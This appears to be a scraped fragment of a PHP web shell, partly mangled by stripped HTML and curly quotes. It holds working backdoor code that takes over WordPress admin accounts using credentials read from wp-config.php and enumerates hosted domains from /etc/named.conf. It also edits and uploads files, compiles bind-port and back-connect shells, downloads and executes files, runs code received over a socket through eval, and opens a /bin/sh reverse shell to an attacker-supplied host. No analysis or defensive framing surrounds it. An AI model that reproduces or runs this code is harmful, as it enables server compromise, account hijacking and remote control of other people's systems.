elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘config’)){ error_reporting(0);if ($_POST[‘kill’]) {$url = $_POST[‘url’];$user = $_POST[‘user’];$pass =$_POST[‘pass’];$pss = md5($pass);function enter($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);return $explode[0];}$config = file_get_contents($url);$password = enter($config,”define(‘DB_PASSWORD’, ‘”,”‘);”);$username = enter($config,”define(‘DB_USER’, ‘”,”‘);”);$db = enter($config,”define(‘DB_NAME’, ‘”,”‘);”);$prefix = enter($config,’$table_prefix = \”,”‘;”);$host = enter($config,”define(‘DB_HOST’, ‘”,”‘);”);if($config && preg_match(‘/DB_NAME/i’,$config)){$conn= @mysql_connect($host,$username ,$password ) or die (“i can’t connect to mysql, check your data”);@mysql_select_db($db,$conn) or die (mysql_error());$grab = @mysql_query(“SELECT * from `wp_options` WHERE option_name=’home'”);$data = @mysql_fetch_array($grab);$site_url = $data[“option_value”];$query = mysql_query(“UPDATE `”.$prefix.”users` SET `user_login` = ‘”.$user.”‘,`user_pass` = ‘”.$pss.”‘ WHERE `ID` = 1″);if ($query) {echo ‘
Done !
site |
user |
password |
link |
‘.$site_url.’ |
‘.$user.’ |
‘.$pass.’ |
login |
‘;} else echo ‘
ERROR !
‘;} else die(‘
Not a wordpress config
‘);} else { ?>
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘domains’)){echo ”
Domains and Users
“;$d0mains = @file(“/etc/named.conf”);if(!$d0mains){die(“
Error : i can’t read [ /etc/named.conf ]“);}echo ”;foreach($d0mains as $d0main){if(eregi(“zone”,$d0main)){preg_match_all(‘#zone “(.*)”#’, $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner(“/etc/valiases/”.$domains[1][0]));echo “”;flush();}}}echo”;}
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘keyboard’)){if(empty($_POST[‘pwd’])){echo ”
“;}else{$prefix = $_POST[‘prefix’];$localhost = $_POST[‘localhost’];$database= $_POST[‘database’];$username= $_POST[‘username’];$password= $_POST[‘password’];$pwd= $_POST[‘pwd’];$admin= $_POST[‘admin’];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$grab = @mysql_query(“SELECT * from `”.$prefix.”options` WHERE option_name=’home'”);$data = @mysql_fetch_array($grab);$site_url=$data[“option_value”];$k2=@mysql_query(“UPDATE “.$prefix.”users SET user_login ='”.$admin.”‘ WHERE ID = 1″) or die(mysql_error());$k2=@mysql_query(“UPDATE “.$prefix.”users SET user_pass ='”.$hash.”‘ WHERE ID = 1″) or die(mysql_error());if($k2){echo ‘
‘;}}echo ”;}
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘string’)){$text = $_POST[‘code’];?>
‘;}
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘phpinfo’)){@ob_start();@eval(“phpinfo();”);$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,””)+6;$akhir = strpos($buff,””);echo ”
“.substr($buff,$awal,$akhir-$awal).”
“;}
elseif(isset($_GET[‘view’]) && ($_GET[‘view’] != “”)){if(is_file($_GET[‘view’])){if(!isset($file))$file = magicboom($_GET[‘view’]);if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file));$group=@posix_getgrgid(@filegroup($file));$owner = $name[‘name’].” : “.$group[‘name’];} else {$owner = $user;}$filn = basename($file);echo ”
“;
if(isset($_GET[‘type’]) && ($_GET[‘type’]==’image’)){echo ”
“;}
elseif(isset($_GET[‘type’]) && ($_GET[‘type’]==’code’)){echo ”
“;$file = wordwrap(@file_get_contents($file),”240″,”\n”);@highlight_string($file);echo “
“;} else {echo ”
“;echo nl2br(htmlentities((@file_get_contents($file))));echo “
“;}}elseif(is_dir($_GET[‘view’])){echo showdir($pwd,$prompt);}}
elseif(isset($_GET[‘edit’]) && ($_GET[‘edit’] != “”)){if(isset($_POST[‘save’])){$file = $_POST[‘saveas’];$content = magicboom($_POST[‘content’]);if($filez = @fopen($file,”w”)){$time = date(“d-M-Y H:i”,time());if(@fwrite($filez,$content)) $msg = “file saved @ “.$time;else $msg = “failed to save”;@fclose($filez);}else $msg = “permission denied”;}if(!isset($file))$file = $_GET[‘edit’];if($filez = @fopen($file,”r”)){$content = “”;
while(!feof($filez)){$content .= htmlentities(str_replace(“””,”‘”,fgets($filez)));}
@fclose($filez);}?>
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘upload’)){if(isset($_POST[‘uploadcomp’])){if(is_uploaded_file($_FILES[‘file’][‘tmp_name’])){$path = magicboom($_POST[‘path’]);$fname = $_FILES[‘file’][‘name’];$tmp_name = $_FILES[‘file’][‘tmp_name’];$pindah = $path.$fname;$stat = @move_uploaded_file($tmp_name,$pindah);if ($stat) {$msg = “file uploaded to $pindah”;} else $msg = “failed to upload $fname”;}else $msg = “failed to upload $fname”;}
elseif(isset($_POST[‘uploadurl’])){$pilihan = trim($_POST[‘pilihan’]);$wurl = trim($_POST[‘wurl’]);$path = magicboom($_POST[‘path’]);$namafile = download($pilihan,$wurl);$pindah = $path.$namafile;if(is_file($pindah)){$msg = “file uploaded to $pindah”;}else $msg =”failed to upload $namafile”;}?>
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘back’)){
if (isset($_POST[‘bind’]) && !empty($_POST[‘port’]) && !empty($_POST[‘bind_pass’]) && ($_POST[‘use’] == ‘C’)) {$port = trim($_POST[‘port’]);$passwrd = trim($_POST[‘bind_pass’]);tulis(“bdc.c”,$port_bind_bd_c);exe(“gcc -o bdc bdc.c”);exe(“chmod 777 bdc”);@unlink(“bdc.c”);exe(“./bdc “.$port.” “.$passwrd.” &”);$scan = exe(“ps aux”);if(eregi(“./bdc $por”,$scan)){$msg = “Process successed
“;} else {$msg = “Process Failed
“;}}
elseif (isset($_POST[‘bind’]) && !empty($_POST[‘port’]) && !empty($_POST[‘bind_pass’]) && ($_POST[‘use’] == ‘Perl’)) {$port = trim($_POST[‘port’]);$passwrd = trim($_POST[‘bind_pass’]);tulis(“bdp”,$port_bind_bd_pl);exe(“chmod 777 bdp”);$p2=which(“perl”);exe($p2.” bdp “.$port.” &”);$scan = exe(“ps aux”);if(eregi(“$p2 bdp $port”,$scan)){$msg = “Process successed
“;} else {$msg = “Process Failed
“;} }
elseif (isset($_POST[‘backconn’]) && !empty($_POST[‘backport’]) && !empty($_POST[‘ip’]) && ($_POST[‘use’] == ‘C’)) {$ip = trim($_POST[‘ip’]);$port = trim($_POST[‘backport’]);tulis(“bcc.c”,$back_connect_c);exe(“gcc -o bcc bcc.c”);exe(“chmod 777 bcc”);@unlink(“bcc.c”);exe(“./bcc “.$ip.” “.$port.” &”);$msg = “trying to connect to “.$ip.” on port “.$port.” …”;}
elseif (isset($_POST[‘backconn’]) && !empty($_POST[‘backport’]) && !empty($_POST[‘ip’]) && ($_POST[‘use’] == ‘Perl’)) {
$ip = trim($_POST[‘ip’]);$port = trim($_POST[‘backport’]);tulis(“bcp”,$back_connect);
exe(“chmod +x bcp”);$p2=which(“perl”);exe($p2.” bcp “.$ip.” “.$port.” &”);
$msg = “Trying to connect to “.$ip.” on port “.$port.” …”;}
elseif (isset($_POST[‘expcompile’]) && !empty($_POST[‘wurl’]) && !empty($_POST[‘wcmd’])) {$pilihan = trim($_POST[‘pilihan’]);$wurl = trim($_POST[‘wurl’]);$namafile = download($pilihan,$wurl);
if(is_file($namafile)){$msg = exe($wcmd);}
else $msg = “error: file not found $namafile”;}?>
Bind Port |
Back connect |
download and Exec |
|
|
|
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = $_SERVER[‘REMOTE_ADDR’];$rsport = “443”;$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = “
“;
echo $s_result;
if($_POST[‘metaConnect’]){$ipaddr = $_POST[‘yip’];$port = $_POST[‘yport’];if ($ip == “” && $port == “”){echo “fill in the blanks”;}else {if (FALSE !== strpos($ipaddr, “:”)) {$ipaddr = “[“. $ipaddr .”]”;}if (is_callable(‘stream_socket_client’)){$msgsock = stream_socket_client(“tcp://{$ipaddr}:{$port}”);if (!$msgsock){die();}$msgsock_type = ‘stream’;}elseif (is_callable(‘fsockopen’)){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = ‘stream’;}elseif (is_callable(‘socket_create’)){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = ‘socket’;}else {die();}switch ($msgsock_type){case ‘stream’: $len = fread($msgsock, 4); break;case ‘socket’: $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack(“Nlen”, $len);$len = $a[‘len’];$buffer = ”;while (strlen($buffer) < $len){switch ($msgsock_type) {case ‘stream’: $buffer .= fread($msgsock, $len-strlen($buffer)); break;case ‘socket’: $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo “[*] Connection Terminated”;die();}}
if(isset($_REQUEST[‘sqlportb4’])) $rsportb4 = ss($_REQUEST[‘sqlportb4’]);
if(isset($_REQUEST[‘rstarget4’])) $rstarget4 = ss($_REQUEST[‘rstarget4’]);
if ($_POST[‘xback_php’]) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = ‘/bin/sh’;$daemon = 0;$debug = 0;if(function_exists(‘pcntl_fork’)){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array(“pipe”, “r”), 1 => array(“pipe”, “w”), 2 => array(“pipe”, “w”));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = ” “;$s_result .= $rsres;}} elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘shell’)){?>
elseif(isset($_GET[‘fdelete’]) && ($_GET[‘fdelete’] != “”)){@rmdir(rtrim($_GET[‘fdelete’],DIRECTORY_SEPARATOR));}
elseif(isset($_GET[‘mkdir’]) && ($_GET[‘mkdir’] != “”)){$path = $pwd.$_GET[‘mkdir’];@mkdir($path);}$buff = showdir($pwd,$prompt);echo $buff;}
?>